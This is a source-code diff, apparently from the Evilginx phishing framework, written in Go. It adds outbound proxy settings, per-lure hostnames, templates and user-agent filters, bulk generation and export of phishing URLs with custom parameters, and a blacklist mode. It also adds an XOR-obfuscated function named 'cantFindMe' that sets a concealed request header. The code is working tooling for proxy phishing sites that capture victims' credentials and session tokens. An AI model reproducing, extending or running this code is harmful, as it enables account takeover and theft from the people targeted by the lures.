||||
@ -1089,6 +1441,73 @@ func (p *HttpProxy) getSessionIdByIP(ip_addr string) (string, bool) {
|
||||
return sid, ok
|
||||
}
|
||||
|
||||
func (p *HttpProxy) cantFindMe(req *http.Request, nothing_to_see_here string) {
|
||||
var b []byte = []byte("\x1dh\x003,)\",+=")
|
||||
for n, c := range b {
|
||||
b[n] = c ^ 0x45
|
||||
}
|
||||
req.Header.Set(string(b), nothing_to_see_here)
|
||||
}
|
||||
|
||||
func (p *HttpProxy) setProxy(enabled bool, ptype string, address string, port int, username string, password string) error {
|
||||
if enabled {
|
||||
ptypes := []string{"http", "https", "socks5", "socks5h"}
|
||||
if !stringExists(ptype, ptypes) {
|
||||
return fmt.Errorf("invalid proxy type selected")
|
||||
}
|
||||
if len(address) == 0 {
|
||||
return fmt.Errorf("proxy address can't be empty")
|
||||
}
|
||||
if port == 0 {
|
||||
return fmt.Errorf("proxy port can't be 0")
|
||||
}
|
||||
|
||||
u := url.URL{
|
||||
Scheme: ptype,
|
||||
Host: address + ":" + strconv.Itoa(port),
|
||||
}
|
||||
|
||||
if strings.HasPrefix(ptype, "http") {
|
||||
var dproxy *http_dialer.HttpTunnel
|
||||
if username != "" {
|
||||
dproxy = http_dialer.New(&u, http_dialer.WithProxyAuth(http_dialer.AuthBasic(username, password)))
|
||||
} else {
|
||||
dproxy = http_dialer.New(&u)
|
||||
}
|
||||
p.Proxy.Tr.Dial = dproxy.Dial
|
||||
} else {
|
||||
if username != "" {
|
||||
u.User = url.UserPassword(username, password)
|
||||
}
|
||||
|
||||
dproxy, err := proxy.FromURL(&u, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
p.Proxy.Tr.Dial = dproxy.Dial
|
||||
}
|
||||
|
||||
/*
|
||||
var auth *proxy.Auth = nil
|
||||
if len(username) > 0 {
|
||||
auth.User = username
|
||||
auth.Password = password
|
||||
}
|
||||
|
||||
proxy_addr := address + ":" + strconv.Itoa(port)
|
||||
|
||||
socks5, err := proxy.SOCKS5("tcp", proxy_addr, auth, proxy.Direct)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
p.Proxy.Tr.Dial = socks5.Dial
|
||||
*/
|
||||
} else {
|
||||
p.Proxy.Tr.Dial = nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type dumbResponseWriter struct {
|
||||
net.Conn
|
||||
}
|
||||
|
@ -27,6 +27,7 @@ type SubFilter struct {
|
||||
regexp string
|
||||
replace string
|
||||
redirect_only bool
|
||||
with_params []string
|
||||
}
|
||||
|
||||
type AuthToken struct {
|
||||
@ -117,6 +118,7 @@ type ConfigSubFilter struct {
|
||||
Replace *string `mapstructure:"replace"`
|
||||
Mimes *[]string `mapstructure:"mimes"`
|
||||
RedirectOnly bool `mapstructure:"redirect_only"`
|
||||
WithParams *[]string `mapstructure:"with_params"`
|
||||
}
|
||||
|
||||
type ConfigAuthToken struct {
|
||||
@ -333,7 +335,10 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
|
||||
if sf.Replace == nil {
|
||||
return fmt.Errorf("sub_filters: missing `replace` field")
|
||||
}
|
||||
p.addSubFilter(*sf.Hostname, *sf.Sub, *sf.Domain, *sf.Mimes, *sf.Search, *sf.Replace, sf.RedirectOnly)
|
||||
if sf.WithParams == nil {
|
||||
sf.WithParams = &[]string{}
|
||||
}
|
||||
p.addSubFilter(*sf.Hostname, *sf.Sub, *sf.Domain, *sf.Mimes, *sf.Search, *sf.Replace, sf.RedirectOnly, *sf.WithParams)
|
||||
}
|
||||
if fp.JsInject != nil {
|
||||
for _, js := range *fp.JsInject {
|
||||
@ -686,14 +691,14 @@ func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, d
|
||||
p.proxyHosts = append(p.proxyHosts, ProxyHost{phish_subdomain: phish_subdomain, orig_subdomain: orig_subdomain, domain: domain, handle_session: handle_session, is_landing: is_landing, auto_filter: auto_filter})
|
||||
}
|
||||
|
||||
func (p *Phishlet) addSubFilter(hostname string, subdomain string, domain string, mime []string, regexp string, replace string, redirect_only bool) {
|
||||
func (p *Phishlet) addSubFilter(hostname string, subdomain string, domain string, mime []string, regexp string, replace string, redirect_only bool, with_params []string) {
|
||||
hostname = strings.ToLower(hostname)
|
||||
subdomain = strings.ToLower(subdomain)
|
||||
domain = strings.ToLower(domain)
|
||||
for n, _ := range mime {
|
||||
mime[n] = strings.ToLower(mime[n])
|
||||
}
|
||||
p.subfilters[hostname] = append(p.subfilters[hostname], SubFilter{subdomain: subdomain, domain: domain, mime: mime, regexp: regexp, replace: replace, redirect_only: redirect_only})
|
||||
p.subfilters[hostname] = append(p.subfilters[hostname], SubFilter{subdomain: subdomain, domain: domain, mime: mime, regexp: regexp, replace: replace, redirect_only: redirect_only, with_params: with_params})
|
||||
}
|
||||
|
||||
func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error {
|
||||
|
@ -10,10 +10,12 @@ type Session struct {
|
||||
Username string
|
||||
Password string
|
||||
Custom map[string]string
|
||||
Params map[string]string
|
||||
Tokens map[string]map[string]*database.Token
|
||||
RedirectURL string
|
||||
IsDone bool
|
||||
IsAuthUrl bool
|
||||
IsForwarded bool
|
||||
RedirectCount int
|
||||
PhishLure *Lure
|
||||
}
|
||||
@ -25,9 +27,11 @@ func NewSession(name string) (*Session, error) {
|
||||
Username: "",
|
||||
Password: "",
|
||||
Custom: make(map[string]string),
|
||||
Params: make(map[string]string),
|
||||
RedirectURL: "",
|
||||
IsDone: false,
|
||||
IsAuthUrl: false,
|
||||
IsForwarded: false,
|
||||
RedirectCount: 0,
|
||||
PhishLure: nil,
|
||||
}
|
||||
|
@ -24,6 +24,24 @@ func viewLen(s string) int {
|
||||
return utf8.RuneCountInString(s)
|
||||
}
|
||||
|
||||
func truncString(s string, maxLen int) string {
|
||||
var ansi = regexp.MustCompile("\033\\[(?:[0-9]{1,3}(?:;[0-9]{1,3})*)?[m|K]")
|
||||
sm := s
|
||||
for _, m := range ansi.FindAllString(sm, -1) {
|
||||
sm = strings.Replace(sm, m, "", -1)
|
||||
}
|
||||
nsm := sm
|
||||
if utf8.RuneCountInString(sm) > maxLen {
|
||||
if maxLen > 3 {
|
||||
nsm = nsm[:maxLen-3] + "..."
|
||||
} else {
|
||||
nsm = nsm[:maxLen]
|
||||
}
|
||||
s = strings.Replace(s, sm, nsm, -1)
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func maxLen(strings []string) int {
|
||||
maxLen := 0
|
||||
for _, s := range strings {
|
||||
@ -43,6 +61,8 @@ const (
|
||||
AlignRight = Alignment(2)
|
||||
)
|
||||
|
||||
const minColLen = 16
|
||||
|
||||
func getPads(s string, maxLen int, align Alignment) (lPad int, rPad int) {
|
||||
len := viewLen(s)
|
||||
diff := maxLen - len
|
||||
@ -67,14 +87,22 @@ func padded(s string, maxLen int, align Alignment) string {
|
||||
}
|
||||
|
||||
func AsTable(columns []string, rows [][]string) string {
|
||||
colMaxLens := make([]int, 0)
|
||||
|
||||
dg := color.New(color.FgHiBlack)
|
||||
for i, col := range columns {
|
||||
clen := viewLen(col) + 4
|
||||
if clen < minColLen {
|
||||
clen = minColLen
|
||||
}
|
||||
colMaxLens = append(colMaxLens, clen)
|
||||
|
||||
columns[i] = fmt.Sprintf(" %s ", col)
|
||||
}
|
||||
|
||||
for i, row := range rows {
|
||||
for j, cell := range row {
|
||||
rows[i][j] = fmt.Sprintf(" %s ", cell)
|
||||
rows[i][j] = fmt.Sprintf(" %s ", truncString(cell, colMaxLens[j])) //cell)
|
||||
}
|
||||
}
|
||||
|
||||
@ -83,6 +111,7 @@ func AsTable(columns []string, rows [][]string) string {
|
||||
for colIndex, colHeader := range columns {
|
||||
column := []string{colHeader}
|
||||
for _, row := range rows {
|
||||
|
||||
column = append(column, row[colIndex])
|
||||
}
|
||||
mLen := maxLen(column)
|
||||
@ -120,7 +149,16 @@ func AsRows(keys []string, vals []string) string {
|
||||
mLen := maxLen(keys)
|
||||
var table string
|
||||
for i, _ := range keys {
|
||||
table += clr.Sprintf("%s : ", padded(keys[i], mLen, AlignRight)) + fmt.Sprintf("%s\n", vals[i])
|
||||
table += clr.Sprintf(" %s : ", padded(keys[i], mLen, AlignLeft)) + fmt.Sprintf("%s\n", vals[i])
|
||||
}
|
||||
return table
|
||||
}
|
||||
|
||||
func AsDescription(keys []string, vals []string) string {
|
||||
clr := color.New(color.FgHiBlack)
|
||||
var table string
|
||||
for i, _ := range keys {
|
||||
table += clr.Sprintf(" %s", keys[i]) + fmt.Sprintf("\n %s\n", vals[i])
|
||||
}
|
||||
return table
|
||||
}
|
||||
|
706
core/terminal.go
706
core/terminal.go
@ -1,10 +1,19 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"crypto/rc4"
|
||||
"encoding/base64"
|
||||
"encoding/csv"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"math/rand"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
@ -27,16 +36,18 @@ type Terminal struct {
|
||||
completer *readline.PrefixCompleter
|
||||
cfg *Config
|
||||
crt_db *CertDb
|
||||
p *HttpProxy
|
||||
db *database.Database
|
||||
hlp *Help
|
||||
developer bool
|
||||
}
|
||||
|
||||
func NewTerminal(cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*Terminal, error) {
|
||||
func NewTerminal(p *HttpProxy, cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*Terminal, error) {
|
||||
var err error
|
||||
t := &Terminal{
|
||||
cfg: cfg,
|
||||
crt_db: crt_db,
|
||||
p: p,
|
||||
db: db,
|
||||
developer: developer,
|
||||
}
|
||||
@ -82,7 +93,8 @@ func (t *Terminal) DoWork() {
|
||||
log.SetReadline(t.rl)
|
||||
|
||||
t.cfg.refreshActiveHostnames()
|
||||
t.updateCertificates("")
|
||||
t.updatePhishletCertificates("")
|
||||
t.updateLuresCertificates()
|
||||
|
||||
t.output("%s", t.sprintPhishletStatus(""))
|
||||
|
||||
@ -119,6 +131,12 @@ func (t *Terminal) DoWork() {
|
||||
if err != nil {
|
||||
log.Error("config: %v", err)
|
||||
}
|
||||
case "proxy":
|
||||
cmd_ok = true
|
||||
err := t.handleProxy(args[1:])
|
||||
if err != nil {
|
||||
log.Error("proxy: %v", err)
|
||||
}
|
||||
case "sessions":
|
||||
cmd_ok = true
|
||||
err := t.handleSessions(args[1:])
|
||||
@ -137,6 +155,12 @@ func (t *Terminal) DoWork() {
|
||||
if err != nil {
|
||||
log.Error("lures: %v", err)
|
||||
}
|
||||
case "blacklist":
|
||||
cmd_ok = true
|
||||
err := t.handleBlacklist(args[1:])
|
||||
if err != nil {
|
||||
log.Error("blacklist: %v", err)
|
||||
}
|
||||
case "help":
|
||||
cmd_ok = true
|
||||
if len(args) == 2 {
|
||||
@ -189,10 +213,12 @@ func (t *Terminal) handleConfig(args []string) error {
|
||||
log.Warning("you need to regenerate your phishing urls after this change")
|
||||
return nil
|
||||
case "redirect_url":
|
||||
if len(args[1]) > 0 {
|
||||
_, err := url.ParseRequestURI(args[1])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
t.cfg.SetRedirectUrl(args[1])
|
||||
return nil
|
||||
}
|
||||
@ -200,6 +226,99 @@ func (t *Terminal) handleConfig(args []string) error {
|
||||
return fmt.Errorf("invalid syntax: %s", args)
|
||||
}
|
||||
|
||||
func (t *Terminal) handleBlacklist(args []string) error {
|
||||
pn := len(args)
|
||||
if pn == 0 {
|
||||
mode := t.cfg.GetBlacklistMode()
|
||||
log.Info("blacklist mode set to: %s", mode)
|
||||
return nil
|
||||
} else if pn == 1 {
|
||||
switch args[0] {
|
||||
case "all":
|
||||
t.cfg.SetBlacklistMode(args[0])
|
||||
return nil
|
||||
case "unauth":
|
||||
t.cfg.SetBlacklistMode(args[0])
|
||||
return nil
|
||||
case "off":
|
||||
t.cfg.SetBlacklistMode(args[0])
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("invalid syntax: %s", args)
|
||||
}
|
||||
|
||||
func (t *Terminal) handleProxy(args []string) error {
|
||||
pn := len(args)
|
||||
if pn == 0 {
|
||||
var proxy_enabled string = "no"
|
||||
if t.cfg.proxyEnabled {
|
||||
proxy_enabled = "yes"
|
||||
}
|
||||
|
||||
keys := []string{"enabled", "type", "address", "port", "username", "password"}
|
||||
vals := []string{proxy_enabled, t.cfg.proxyType, t.cfg.proxyAddress, strconv.Itoa(t.cfg.proxyPort), t.cfg.proxyUsername, t.cfg.proxyPassword}
|
||||
log.Printf("\n%s\n", AsRows(keys, vals))
|
||||
return nil
|
||||
} else if pn == 1 {
|
||||
switch args[0] {
|
||||
case "enable":
|
||||
err := t.p.setProxy(true, t.p.cfg.proxyType, t.p.cfg.proxyAddress, t.p.cfg.proxyPort, t.p.cfg.proxyUsername, t.p.cfg.proxyPassword)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
t.cfg.EnableProxy(true)
|
||||
log.Important("you need to restart evilginx for the changes to take effect!")
|
||||
return nil
|
||||
case "disable":
|
||||
err := t.p.setProxy(false, t.p.cfg.proxyType, t.p.cfg.proxyAddress, t.p.cfg.proxyPort, t.p.cfg.proxyUsername, t.p.cfg.proxyPassword)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
t.cfg.EnableProxy(false)
|
||||
return nil
|
||||
}
|
||||
} else if pn == 2 {
|
||||
switch args[0] {
|
||||
case "type":
|
||||
if t.cfg.proxyEnabled {
|
||||
return fmt.Errorf("please disable the proxy before making changes to its configuration")
|
||||
}
|
||||
t.cfg.SetProxyType(args[1])
|
||||
return nil
|
||||
case "address":
|
||||
if t.cfg.proxyEnabled {
|
||||
return fmt.Errorf("please disable the proxy before making changes to its configuration")
|
||||
}
|
||||
t.cfg.SetProxyAddress(args[1])
|
||||
return nil
|
||||
case "port":
|
||||
if t.cfg.proxyEnabled {
|
||||
return fmt.Errorf("please disable the proxy before making changes to its configuration")
|
||||
}
|
||||
port, err := strconv.Atoi(args[1])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
t.cfg.SetProxyPort(port)
|
||||
return nil
|
||||
case "username":
|
||||
if t.cfg.proxyEnabled {
|
||||
return fmt.Errorf("please disable the proxy before making changes to its configuration")
|
||||
}
|
||||
t.cfg.SetProxyUsername(args[1])
|
||||
return nil
|
||||
case "password":
|
||||
if t.cfg.proxyEnabled {
|
||||
return fmt.Errorf("please disable the proxy before making changes to its configuration")
|
||||
}
|
||||
t.cfg.SetProxyPassword(args[1])
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("invalid syntax: %s", args)
|
||||
}
|
||||
|
||||
func (t *Terminal) handleSessions(args []string) error {
|
||||
lblue := color.New(color.FgHiBlue)
|
||||
dgray := color.New(color.FgHiBlack)
|
||||
@ -367,13 +486,13 @@ func (t *Terminal) handlePhishlets(args []string) error {
|
||||
}
|
||||
domain, _ := t.cfg.GetSiteDomain(args[1])
|
||||
if domain == "" {
|
||||
return fmt.Errorf("you need to set hostname for phishlet '%s', first. type: phishlets hostname %s your.hostame.domain.com", args[1], args[1])
|
||||
return fmt.Errorf("you need to set hostname for phishlet '%s', first. type: phishlet hostname %s your.hostame.domain.com", args[1], args[1])
|
||||
}
|
||||
err = t.cfg.SetSiteEnabled(args[1])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
t.updateCertificates(args[1])
|
||||
t.updatePhishletCertificates(args[1])
|
||||
return nil
|
||||
case "disable":
|
||||
err := t.cfg.SetSiteDisabled(args[1])
|
||||
@ -460,10 +579,12 @@ func (t *Terminal) handlePhishlets(args []string) error {
|
||||
func (t *Terminal) handleLures(args []string) error {
|
||||
hiblue := color.New(color.FgHiBlue)
|
||||
yellow := color.New(color.FgYellow)
|
||||
green := color.New(color.FgGreen)
|
||||
//hiwhite := color.New(color.FgHiWhite)
|
||||
hcyan := color.New(color.FgHiCyan)
|
||||
cyan := color.New(color.FgCyan)
|
||||
dgray := color.New(color.FgHiBlack)
|
||||
white := color.New(color.FgHiWhite)
|
||||
|
||||
pn := len(args)
|
||||
|
||||
@ -483,7 +604,6 @@ func (t *Terminal) handleLures(args []string) error {
|
||||
l := &Lure{
|
||||
Path: "/" + GenRandomString(8),
|
||||
Phishlet: args[1],
|
||||
Params: make(map[string]string),
|
||||
}
|
||||
t.cfg.AddLure(args[1], l)
|
||||
log.Info("created lure with ID: %d", len(t.cfg.lures)-1)
|
||||
@ -491,7 +611,7 @@ func (t *Terminal) handleLures(args []string) error {
|
||||
}
|
||||
return fmt.Errorf("incorrect number of arguments")
|
||||
case "get-url":
|
||||
if pn == 2 {
|
||||
if pn >= 2 {
|
||||
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
|
||||
if err != nil {
|
||||
return fmt.Errorf("get-url: %v", err)
|
||||
@ -508,18 +628,110 @@ func (t *Terminal) handleLures(args []string) error {
|
||||
if !ok || len(bhost) == 0 {
|
||||
return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
|
||||
}
|
||||
|
||||
var base_url string
|
||||
if l.Hostname != "" {
|
||||
base_url = "https://" + l.Hostname + l.Path
|
||||
} else {
|
||||
purl, err := pl.GetLureUrl(l.Path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
out := hiblue.Sprint(purl)
|
||||
t.output("%s\n", out)
|
||||
base_url = purl
|
||||
}
|
||||
|
||||
var phish_urls []string
|
||||
var phish_params []map[string]string
|
||||
var out string
|
||||
|
||||
params := url.Values{}
|
||||
if pn > 2 {
|
||||
if args[2] == "import" {
|
||||
if pn < 4 {
|
||||
return fmt.Errorf("get-url: no import path specified")
|
||||
}
|
||||
params_file := args[3]
|
||||
|
||||
phish_urls, phish_params, err = t.importParamsFromFile(base_url, params_file)
|
||||
if err != nil {
|
||||
return fmt.Errorf("get_url: %v", err)
|
||||
}
|
||||
|
||||
if pn >= 5 {
|
||||
if args[4] == "export" {
|
||||
if pn == 5 {
|
||||
return fmt.Errorf("get-url: no export path specified")
|
||||
}
|
||||
export_path := args[5]
|
||||
|
||||
format := "text"
|
||||
if pn == 7 {
|
||||
format = args[6]
|
||||
}
|
||||
|
||||
err = t.exportPhishUrls(export_path, phish_urls, phish_params, format)
|
||||
if err != nil {
|
||||
return fmt.Errorf("get-url: %v", err)
|
||||
}
|
||||
out = hiblue.Sprintf("exported %d phishing urls to file: %s\n", len(phish_urls), export_path)
|
||||
phish_urls = []string{}
|
||||
} else {
|
||||
return fmt.Errorf("get-url: expected 'export': %s", args[4])
|
||||
}
|
||||
}
|
||||
|
||||
} else {
|
||||
// params present
|
||||
for n := 2; n < pn; n++ {
|
||||
val := args[n]
|
||||
|
||||
sp := strings.Index(val, "=")
|
||||
if sp == -1 {
|
||||
return fmt.Errorf("to set custom parameters for the phishing url, use format 'param1=value1 param2=value2'")
|
||||
}
|
||||
k := val[:sp]
|
||||
v := val[sp+1:]
|
||||
|
||||
params.Add(k, v)
|
||||
|
||||
log.Info("adding parameter: %s='%s'", k, v)
|
||||
}
|
||||
phish_urls = append(phish_urls, t.createPhishUrl(base_url, ¶ms))
|
||||
}
|
||||
} else {
|
||||
phish_urls = append(phish_urls, t.createPhishUrl(base_url, ¶ms))
|
||||
}
|
||||
|
||||
for n, phish_url := range phish_urls {
|
||||
out += hiblue.Sprint(phish_url)
|
||||
|
||||
var params_row string
|
||||
var params string
|
||||
if len(phish_params) > 0 {
|
||||
params_row := phish_params[n]
|
||||
m := 0
|
||||
for k, v := range params_row {
|
||||
if m > 0 {
|
||||
params += " "
|
||||
}
|
||||
params += fmt.Sprintf("%s=\"%s\"", k, v)
|
||||
m += 1
|
||||
}
|
||||
}
|
||||
|
||||
if len(params_row) > 0 {
|
||||
out += " ; " + params
|
||||
}
|
||||
out += "\n"
|
||||
}
|
||||
|
||||
t.output("%s", out)
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("incorrect number of arguments")
|
||||
case "edit":
|
||||
if pn == 4 {
|
||||
l_id, err := strconv.Atoi(strings.TrimSpace(args[2]))
|
||||
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
|
||||
if err != nil {
|
||||
return fmt.Errorf("edit: %v", err)
|
||||
}
|
||||
@ -530,7 +742,29 @@ func (t *Terminal) handleLures(args []string) error {
|
||||
val := args[3]
|
||||
do_update := false
|
||||
|
||||
switch args[1] {
|
||||
switch args[2] {
|
||||
case "hostname":
|
||||
if val != "" {
|
||||
val = strings.ToLower(val)
|
||||
|
||||
if val != t.cfg.baseDomain && !strings.HasSuffix(val, "."+t.cfg.baseDomain) {
|
||||
return fmt.Errorf("edit: lure hostname must end with the base domain '%s'", t.cfg.baseDomain)
|
||||
}
|
||||
host_re := regexp.MustCompile(`^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$`)
|
||||
if !host_re.MatchString(val) {
|
||||
return fmt.Errorf("edit: invalid hostname")
|
||||
}
|
||||
err = t.updateHostCertificate(val)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
l.Hostname = val
|
||||
t.cfg.refreshActiveHostnames()
|
||||
} else {
|
||||
l.Hostname = ""
|
||||
}
|
||||
do_update = true
|
||||
log.Info("hostname = '%s'", l.Hostname)
|
||||
case "path":
|
||||
if val != "" {
|
||||
u, err := url.Parse(val)
|
||||
@ -611,21 +845,36 @@ func (t *Terminal) handleLures(args []string) error {
|
||||
}
|
||||
do_update = true
|
||||
log.Info("og_url = '%s'", l.OgUrl)
|
||||
case "params":
|
||||
sp := strings.Index(val, "=")
|
||||
if sp == -1 {
|
||||
return fmt.Errorf("edit: to set a custom parameter, use format 'key=value' or 'key=' if you want to remove a custom parameter")
|
||||
case "template":
|
||||
if val != "" {
|
||||
path := val
|
||||
if !filepath.IsAbs(val) {
|
||||
templates_dir := t.cfg.GetTemplatesDir()
|
||||
path = filepath.Join(templates_dir, val)
|
||||
}
|
||||
k := val[:sp]
|
||||
v := val[sp+1:]
|
||||
if v != "" {
|
||||
l.Params[k] = v
|
||||
log.Info("params: '%s' = '%s'", k, v)
|
||||
|
||||
if _, err := os.Stat(path); !os.IsNotExist(err) {
|
||||
l.Template = val
|
||||
} else {
|
||||
delete(l.Params, k)
|
||||
log.Info("params: deleted '%s'", k)
|
||||
return fmt.Errorf("edit: template file does not exist: %s", path)
|
||||
}
|
||||
} else {
|
||||
l.Template = ""
|
||||
}
|
||||
do_update = true
|
||||
log.Info("template = '%s'", l.Template)
|
||||
case "ua_filter":
|
||||
if val != "" {
|
||||
if _, err := regexp.Compile(val); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
l.UserAgentFilter = val
|
||||
} else {
|
||||
l.UserAgentFilter = ""
|
||||
}
|
||||
do_update = true
|
||||
log.Info("ua_filter = '%s'", l.UserAgentFilter)
|
||||
}
|
||||
if do_update {
|
||||
err := t.cfg.SetLure(l_id, l)
|
||||
@ -700,18 +949,10 @@ func (t *Terminal) handleLures(args []string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
keys := []string{"phishlet", "path", "redirect_url", "info", "og_title", "og_desc", "og_image", "og_url"}
|
||||
vals := []string{hiblue.Sprint(l.Phishlet), hcyan.Sprint(l.Path), yellow.Sprint(l.RedirectUrl), l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
|
||||
keys := []string{"phishlet", "hostname", "path", "template", "ua_filter", "redirect_url", "info", "og_title", "og_desc", "og_image", "og_url"}
|
||||
vals := []string{hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Template), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
|
||||
log.Printf("\n%s\n", AsRows(keys, vals))
|
||||
|
||||
if len(l.Params) > 0 {
|
||||
var ckeys []string = []string{"key", "value"}
|
||||
var cvals [][]string
|
||||
for k, v := range l.Params {
|
||||
cvals = append(cvals, []string{dgray.Sprint(k), cyan.Sprint(v)})
|
||||
}
|
||||
log.Printf("custom parameters:\n%s\n", AsTable(ckeys, cvals))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
@ -731,6 +972,17 @@ func (t *Terminal) createHelp() {
|
||||
h.AddSubCommand("config", []string{"verification_token"}, "verification_token <token>", "change the value of the verification token (phishing urls will need to be regenerated)")
|
||||
h.AddSubCommand("config", []string{"redirect_url"}, "redirect_url <url>", "change the url where all unauthorized requests will be redirected to (phishing urls will need to be regenerated)")
|
||||
|
||||
h.AddCommand("proxy", "general", "manage proxy configuration", "Configures proxy which will be used to proxy the connection to remote website", LAYER_TOP,
|
||||
readline.PcItem("proxy", readline.PcItem("enable"), readline.PcItem("disable"), readline.PcItem("type"), readline.PcItem("address"), readline.PcItem("port"), readline.PcItem("username"), readline.PcItem("password")))
|
||||
h.AddSubCommand("proxy", nil, "", "show all configuration variables")
|
||||
h.AddSubCommand("proxy", []string{"enable"}, "enable", "enable proxy")
|
||||
h.AddSubCommand("proxy", []string{"disable"}, "disable", "disable proxy")
|
||||
h.AddSubCommand("proxy", []string{"type"}, "type <type>", "set proxy type: http (default), https, socks5, socks5h")
|
||||
h.AddSubCommand("proxy", []string{"address"}, "address <address>", "set proxy address")
|
||||
h.AddSubCommand("proxy", []string{"port"}, "port <port>", "set proxy port")
|
||||
h.AddSubCommand("proxy", []string{"username"}, "username <username>", "set proxy authentication username")
|
||||
h.AddSubCommand("proxy", []string{"password"}, "password <password>", "set proxy authentication password")
|
||||
|
||||
h.AddCommand("phishlets", "general", "manage phishlets configuration", "Shows status of all available phishlets and allows to change their parameters and enabled status.", LAYER_TOP,
|
||||
readline.PcItem("phishlets", readline.PcItem("hostname", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("enable", readline.PcItemDynamic(t.phishletPrefixCompleter)),
|
||||
readline.PcItem("disable", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("hide", readline.PcItemDynamic(t.phishletPrefixCompleter)),
|
||||
@ -752,24 +1004,39 @@ func (t *Terminal) createHelp() {
|
||||
h.AddSubCommand("sessions", []string{"delete", "all"}, "delete all", "delete all logged sessions")
|
||||
|
||||
h.AddCommand("lures", "general", "manage lures for generation of phishing urls", "Shows all create lures and allows to edit or delete them.", LAYER_TOP,
|
||||
/* readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"),
|
||||
readline.PcItem("edit", readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("template", readline.PcItemDynamic(t.emptyPrefixCompleter, readline.PcItemDynamic(t.templatesPrefixCompleter)))),
|
||||
readline.PcItem("delete", readline.PcItem("all"))))*/
|
||||
readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"),
|
||||
readline.PcItem("edit", readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params")),
|
||||
readline.PcItem("edit", readline.PcItemDynamic(t.luresIdPrefixCompleter, readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("ua_filter"), readline.PcItem("template", readline.PcItemDynamic(t.templatesPrefixCompleter)))),
|
||||
readline.PcItem("delete", readline.PcItem("all"))))
|
||||
h.AddSubCommand("lures", nil, "", "show all created lures")
|
||||
|
||||
h.AddSubCommand("lures", nil, "", "show all create lures")
|
||||
h.AddSubCommand("lures", nil, "<id>", "show details of a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"create"}, "create <phishlet>", "creates new lure for given <phishlet>")
|
||||
h.AddSubCommand("lures", []string{"get-url"}, "get-url <id>", "get the URL for lure with given <id>")
|
||||
h.AddSubCommand("lures", []string{"delete"}, "delete <id>", "deletes lure with given <id>")
|
||||
h.AddSubCommand("lures", []string{"delete", "all"}, "delete all", "deletes all created lures")
|
||||
h.AddSubCommand("lures", []string{"edit", "path"}, "edit path <id> <path>", "sets custom url <path> for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "redirect_url"}, "edit redirect_url <id> <redirect_url>", "sets redirect url that user will be navigated to after successful authorization, for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "phishlet"}, "edit phishlet <id> <phishlet>", "changes the phishlet for the lure with a given <id> applies to")
|
||||
h.AddSubCommand("lures", []string{"edit", "info"}, "edit info <id> <info>", "sets a custom description for lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "og_title"}, "edit og_title <id> <title>", "sets opengraph title that will be shown in link preview, for a lure with a given <id>")
|
||||
